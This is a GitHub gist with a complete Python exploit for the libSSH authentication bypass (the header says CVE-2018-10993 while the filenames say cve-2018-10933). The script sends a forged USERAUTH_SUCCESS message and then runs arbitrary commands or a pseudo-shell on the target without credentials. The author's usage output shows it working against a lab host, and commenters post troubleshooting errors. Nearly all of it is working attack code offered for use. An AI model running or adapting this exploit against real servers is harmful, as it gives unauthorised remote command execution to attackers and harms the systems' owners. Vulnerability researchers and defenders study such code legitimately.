Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Created December 4, 2018 00:55
Show Gist options
  • Star 8 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save mgeeky/a7271536b1d815acfb8060fd8b65bd5d to your computer and use it in GitHub Desktop.
Save mgeeky/a7271536b1d815acfb8060fd8b65bd5d to your computer and use it in GitHub Desktop.
CVE-2018-10993 libSSH authentication bypass exploit
#!/usr/bin/python3
#
# CVE-2018-10993 libSSH authentication bypass exploit
#
# The libSSH library has flawed authentication/connection state-machine.
# Upon receiving from connecting client the MSG_USERAUTH_SUCCESS Message
# (as described in RFC4252, sec. 5.1.) which is an authentication response message
# that should be returned by the server itself (not accepted from client)
# the libSSH switches to successful post-authentication state. In such state,
# it impersonates connecting client as server's root user and begins executing
# delivered commands.
# This results in opening an authenticated remote-access channel
# without any authentication attempts (authentication bypass).
#
# Below exploit contains modified code taken from:
# - https://github.com/leapsecurity/libssh-scanner
#
# Known issues:
# - UnauthSSH.shell() function is not working:
# I never got paramiko.Channel.invoke_shell() into working from custom
# transport object. Therefore as a workaround - `UnauthSSH.parashell()` function
# was implemented that substitutes original functionality of spawning shell.
#
# Requirements:
# - paramiko
#
# Mariusz B. / mgeeky, <mb@binary-offensive.com>
#
import sys
import socket
import time
import argparse
from sys import argv, exit
try:
import paramiko
except ImportError:
print('[!] Paramiko required: python3 -m pip install paramiko')
sys.exit(1)
VERSION = '0.1'
config = {
'debug' : False,
'verbose' : False,
'host' : '',
'port' : 22,
'log' : '',
'connection_timeout' : 5.0,
'session_timeout' : 10.0,
'buflen' : 4096,
'command' : '',
'shell' : False,
}
class Logger:
@staticmethod
def _out(x):
if config['debug'] or config['verbose']:
sys.stdout.write(x + '\n')
@staticmethod
def dbg(x):
if config['debug']:
sys.stdout.write('[dbg] ' + x + '\n')
@staticmethod
def out(x):
Logger._out('[.] ' + x)
@staticmethod
def info(x):
Logger._out('[?] ' + x)
@staticmethod
def err(x):
sys.stdout.write('[!] ' + x + '\n')
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
class UnauthSSH():
def __init__(self):
self.host = config['host']
self.port = config['port']
self.sock = None
self.transport = None
self.connectionInfoOnce = False
def __del__(self):
if self.sock:
self.sock.close()
def sshAuthBypass(self, force = False):
if not force and (self.transport and self.transport.is_active()):
Logger.dbg('Returning already issued SSH Transport')
return self.transport
self.__del__()
self.sock = socket.socket()
if not self.connectionInfoOnce:
self.connectionInfoOnce = True
Logger.info('Connecting with {}:{} ...'.format(
self.host, self.port
))
try:
self.sock.connect((str(self.host), int(self.port)))
Logger.ok('Connected.')
except Exception as e:
Logger.fail('Could not connect to {}:{} . Exception: {}'.format(
self.host, self.port, str(e)
))
sys.exit(1)
message = paramiko.message.Message()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport = paramiko.transport.Transport(self.sock)
transport.start_client(timeout = config['connection_timeout'])
transport._send_message(message)
self.transport = transport
return transport
def NOT_WORKING_shell(self):
# FIXME: invoke_shell() closes channel prematurely.
transport = self.sshAuthBypass()
session = transport.open_session(timeout = config['session_timeout'])
session.set_combine_stdLogger.err(True)
session.get_pty()
session.invoke_shell()
username = UnauthSSH._send_recv(session, 'username')
hostname = UnauthSSH._send_recv(session, 'hostname')
prompt = '{}@{} $ '.format(username, hostname)
while True:
inp = input(prompt).strip()
if inp.lower() in ['exit', 'quit'] or not inp:
Logger.info('Quitting...')
break
out = UnauthSSH._send_recv(session, inp)
if not out:
Logger.err('Could not constitute stable shell.')
return
print(out)
def shell(self):
self.parashell()
def parashell(self):
username = self.execute('whoami')
hostname = self.execute('hostname')
prompt = '{}@{} $ '.format(username, hostname)
if not username or not hostname:
Logger.fail('Could not obtain username ({}) and/or hostname ({})!'.format(
username, hostname
))
return
Logger.info('Entering pseudo-shell...')
while True:
inp = input(prompt).strip()
if inp.lower() in ['exit', 'quit'] or not inp:
Logger.info('Quitting...')
break
out = self.execute(inp)
if not out:
Logger.err('Could not constitute stable shell.')
return
print(out)
# FIXME: Not used as NOT_WORKING_shell() is bugged.
@staticmethod
def _send_recv(session, cmd):
out = ''
session.send(cmd.strip() + '\n')
MAX_TIMEOUT = config['session_timeout']
timeout = 0.0
while not session.exit_status_ready():
time.sleep(0.1)
timeout += 0.1
if timeout > MAX_TIMEOUT:
return None
if session.recv_ready():
out += session.recv(config['buflen']).decode()
if session.recv_stderr_ready():
out += session.recv_stdLogger.err(config['buflen']).decode()
while session.recv_ready():
out += session.recv_ready(config['buflen'])
return out
@staticmethod
def _exec(session, inp):
inp = inp.strip()
Logger.dbg('Executing command: "{}"'.format(inp))
session.exec_command(inp + '\n')
retcode = session.recv_exit_status()
buf = ''
while session.recv_ready():
buf += session.recv(config['buflen']).decode()
buf = buf.strip()
Logger.dbg('Returned:\n{}'.format(buf))
return buf
def execute(self, cmd, printout = False, tryAgain = False):
transport = self.sshAuthBypass(force = tryAgain)
session = transport.open_session(timeout = config['session_timeout'])
session.set_combine_stderr(True)
buf = ''
try:
buf = UnauthSSH._exec(session, cmd)
except paramiko.SSHException as e:
if 'channel closed' in str(e).lower() and not tryAgain:
return self.execute(cmd, printout, True)
if printout and not tryAgain:
Logger.fail('Could not execute command ({}): "{}"'.format(cmd, str(e)))
return ''
if printout:
print('\n{} $ {}'.format(self.host, cmd))
print('{}'.format(buf))
return buf
def exploit():
handler = UnauthSSH()
if config['command']:
out = handler.execute(config['command'])
Logger._out('\n$ {}'.format(config['command']))
print(out)
else:
handler.shell()
def collectBanner():
ip = config['host']
port = config['port']
try:
s = socket.create_connection((ip, port), timeout = config['connection_timeout'])
Logger.ok('Connected to the target: {}:{}'.format(ip, port))
s.settimeout(None)
banner = s.recv(config['buflen'])
s.close()
return banner.split(b"\n")[0]
except (socket.timeout, socket.error) as e:
Logger.fail('SSH connection timeout.')
return ""
def check():
global config
if not config['command'] and not config['shell']:
config['verbose'] = True
banner = collectBanner()
if banner:
Logger.info('Obtained banner: "{}"'.format(banner.decode().strip()))
#
# NOTICE: The below version-checking logic was taken from:
# - https://github.com/leapsecurity/libssh-scanner
#
if any(version in banner for version in [b"libssh-0.6", b"libssh_0.6"]):
Logger.ok('Target seems to be VULNERABLE!')
elif any(version in banner for version in [b"libssh-0.7", b"libssh_0.7"]):
# libssh is 0.7.6 or greater (patched)
if int(banner.split(b".")[-1]) >= 6:
Logger.info('Target seems to be PATCHED.')
else:
Logger.ok('Target seems to be VULNERABLE!')
return True
elif any(version in banner for version in [b"libssh-0.8", b"libssh_0.8"]):
# libssh is 0.8.4 or greater (patched)
if int(banner.split(b".")[-1]) >= 4:
Logger.info('Target seems to be PATCHED.')
else:
Logger.ok('Target seems to be VULNERABLE!')
return True
else:
Logger.fail('Target is not vulnerable.')
else:
Logger.err('Could not obtain SSH service banner.')
return False
def parse_opts():
global config
parser = argparse.ArgumentParser(description = 'If there was neither shell nor command option specified - exploit will switch to detect mode yielding vulnerable/not vulnerable flag.')
parser.add_argument('host', help='Hostname/IP address that is running vulnerable libSSH server.')
parser.add_argument('-p', '--port', help='libSSH port', default = 22)
parser.add_argument('-s', '--shell', help='Exploit the vulnerability and spawn pseudo-shell', action='store_true', default = False)
parser.add_argument('-c', '--command', help='Execute single command. ', default='')
parser.add_argument('--logfile', help='Logfile to write paramiko connection logs', default = "")
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
args = parser.parse_args()
try:
config['host'] = args.host
config['port'] = args.port
config['log'] = args.logfile
config['command'] = args.command
config['shell'] = args.shell
config['verbose'] = args.verbose
config['debug'] = args.debug
if args.shell and args.command:
Logger.err('Shell and command options are mutually exclusive!\n')
raise Exception()
except:
parser.print_help()
return False
return True
def main():
sys.stderr.write('''
:: CVE-2018-10993 libSSH authentication bypass exploit.
Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
v{}
'''.format(VERSION))
if not parse_opts():
return False
if config['log']:
paramiko.util.log_to_file(config['log'])
check()
if config['command'] or config['shell']:
exploit()
if __name__ == '__main__':
main()
@mgeeky
Copy link
Author

mgeeky commented Dec 4, 2018

Usage:

$ python3 cve-2018-10933.py -h

    :: CVE-2018-10993 libSSH authentication bypass exploit.
    Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
    Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
    v0.1
    
usage: cve-2018-10933.py [-h] [-p PORT] [-s] [-c COMMAND] [--logfile LOGFILE]
                         [-v] [-d]
                         host

If there was neither shell nor command option specified - exploit will switch
to detect mode yielding vulnerable/not vulnerable flag.

positional arguments:
  host                  Hostname/IP address that is running vulnerable libSSH
                        server.

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  libSSH port
  -s, --shell           Exploit the vulnerability and spawn pseudo-shell
  -c COMMAND, --command COMMAND
                        Execute single command.
  --logfile LOGFILE     Logfile to write paramiko connection logs
  -v, --verbose         Display verbose output.
  -d, --debug           Display debug output.

In action:

attacker $ python3 cve-2018-10933.py 192.168.56.100 -v -c 'uname -a'

    :: CVE-2018-10993 libSSH authentication bypass exploit.
    Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
    Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
    v0.1
    
[+] Connected to the target: 192.168.56.100:22
[?] Obtained banner: "SSH-2.0-libssh_0.8.3"
[+] Target seems to be VULNERABLE!
[?] Connecting with 192.168.56.100:22 ...
[+] Connected.

$ uname -a
Linux vulnerable 3.14.1-pentesterlab #1 SMP Sun Jul 6 09:16:00 EST 2014 i686 GNU/Linux

@Wayc0des-Land
Copy link

Hi,

I got error when try this exploit

[+] Connected to the target: 127.0.0.1:22
[?] Obtained banner: "SSH-2.0-libssh-0.6.3"
[+] Target seems to be VULNERABLE!
[?] Connecting with 127.0.0.1:22 ...
[+] Connected.
Traceback (most recent call last):
  File "exploit.py", line 684, in <module>
    main()
  File "exploit.py", line 679, in main
    exploit()
  File "exploit.py", line 472, in exploit
    out = handler.execute(config['command'])
  File "exploit.py", line 429, in execute
    transport = self.sshAuthBypass(force = tryAgain)
  File "exploit.py", line 237, in sshAuthBypass
    transport.start_client(timeout = config['connection_timeout'])
TypeError: start_client() got an unexpected keyword argument 'timeout'

@mgeeky
Copy link
Author

mgeeky commented Nov 7, 2019

Hi @dzhenway

Hi,

I got error when try this exploit

[+] Connected to the target: 127.0.0.1:22
[?] Obtained banner: "SSH-2.0-libssh-0.6.3"
[+] Target seems to be VULNERABLE!
[?] Connecting with 127.0.0.1:22 ...
[+] Connected.
Traceback (most recent call last):
  File "exploit.py", line 684, in <module>
    main()
  File "exploit.py", line 679, in main
    exploit()
  File "exploit.py", line 472, in exploit
    out = handler.execute(config['command'])
  File "exploit.py", line 429, in execute
    transport = self.sshAuthBypass(force = tryAgain)
  File "exploit.py", line 237, in sshAuthBypass
    transport.start_client(timeout = config['connection_timeout'])
TypeError: start_client() got an unexpected keyword argument 'timeout'

This may mean that you're not using cutting-edge version of paramiko, because it's docs are saying that:
http://docs.paramiko.org/en/2.6/api/transport.html

Changed in version 1.13.4/1.14.3/1.15.3: Added the timeout argument

Please upgrade your paramiko's installation and retry running the exploit.

Best regards,
M.

@Wayc0des-Land
Copy link

Hi,

Ill try it

Thank you

@SoulGlume
Copy link

Hello, I allow this error
/usr/local/lib/python3.6/dist-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 3.6 is no longer supported by the Python core team. Therefore, support for it is deprecated in cryptography and will be removed in a future release.
from cryptography.hazmat.backends import default_backend

:: CVE-2018-10993 libSSH authentication bypass exploit.
Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
v0.1

[+] Connected to the target: 172.168.7.122:22
[?] Obtained banner: "SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.6"
[-] Target is not vulnerable.
[?] Connecting with 172.168.7.122:22 ...
[+] Connected.
Oops, unhandled type 3 ('unimplemented')
Oops, unhandled type 3 ('unimplemented')
Traceback (most recent call last):
File "libsshauthbypass.py", line 379, in
main()
File "libsshauthbypass.py", line 376, in main
exploit()
File "libsshauthbypass.py", line 261, in exploit
out = handler.execute(config['command'])
File "libsshauthbypass.py", line 238, in execute
session = transport.open_session(timeout = config['session_timeout'])
File "/usr/local/lib/python3.6/dist-packages/paramiko/transport.py", line 924, in open_session
timeout=timeout,
File "/usr/local/lib/python3.6/dist-packages/paramiko/transport.py", line 1055, in open_channel
raise SSHException("Timeout opening channel.")
paramiko.ssh_exception.SSHException: Timeout opening channel.

@rsa16
Copy link

rsa16 commented Jul 9, 2023

I get this error after [dbg] Executing command: "hostname"

Socket exception: An operation was attempted on something that is not a socket

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment